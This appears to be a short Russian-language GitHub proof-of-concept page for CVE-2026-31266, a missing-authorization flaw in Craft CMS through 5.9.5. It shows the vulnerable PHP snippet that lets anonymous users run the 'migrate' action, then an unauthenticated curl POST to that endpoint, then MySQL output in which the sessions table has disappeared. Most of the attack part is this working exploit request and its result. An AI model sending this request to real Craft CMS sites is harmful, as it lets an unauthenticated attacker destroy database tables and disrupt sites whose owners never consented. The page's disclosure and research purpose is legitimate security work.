0xrixet/craftcms-poc-cve-2026-31266Безопасностное исследование механизма аутентификации Craft CMS
| Поле | Значение |
|---|---|
| CVE ID | CVE-2026-31266 |
| Вендор | Pixel & Tonic |
| Продукт | Craft CMS |
| Затронутые версии | <= 5.9.5 |
| CWE | CWE-862 (Отсутствие авторизации) |
| CVSS | 7.3 (Высокий) |
| Исследователь безопасности | 0xRIXET |
screenshots/ - Демонстрации Proof of ConceptФайл: src/controllers/AppController.php
Строки 65-68:
protected array|bool|int $allowAnonymous = [
'migrate' => self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE,
];
# With allowAdminChanges=false
curl -X POST "http://target/actions/app/migrate"
mysql> SELECT COUNT(*) FROM sessions;
+----------+
| COUNT(*) |
+----------+
| 0 |
+----------+
mysql> SELECT COUNT(*) FROM sessions;
ERROR 1146 (42S02): Table 'sessions' doesn't exist